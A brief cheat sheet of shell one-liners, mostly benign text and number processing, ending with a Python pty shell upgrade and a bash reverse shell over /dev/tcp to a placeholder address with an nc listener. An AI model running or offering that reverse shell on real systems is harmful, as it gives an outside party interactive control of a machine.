Quickest way to get your ssh key to a remote host:
ssh-copy-id username@host.example.com
Shuffle items in a file:
cat file.txt | perl -MList::Util=shuffle -e 'print shuffle(<STDIN>);' >file-shuffled.txt
Count the number of comma-separated items on each line in a file:
cat file.txt |perl -ne 'print 1+@{[/,/g]},"\n"'
Count number of comma-separated items on each line in a file, and generate average of items:
cat file.txt |perl -ne 'print 1+@{[/,/g]},"\n"' |awk '{ sum += $1; n++ } END { if (n > 0) print sum / n; }'
Give the average of a list of numbers in a file:
cat numbers-list.txt |awk '{ sum += $1; n++ } END { if (n > 0) print sum / n; }'
Go through multiple host output, only print fully-qualified domain name:
for i in `cat ip-list.txt | awk '{print $1}'`; do host $i |rev |cut -d\ -f1 |rev;done
Spawn a full shell from Python
python -c 'import pty;pty.spawn("/bin/bash")'
Redirect bash output to a TCP socket
# on remote host:
/bin/bash -i >& /dev/tcp/yo.ur.ip.addr/6666 0>&1
# on local host:
nc -l -n -v -p 6666
# And wait for incoming bash shell
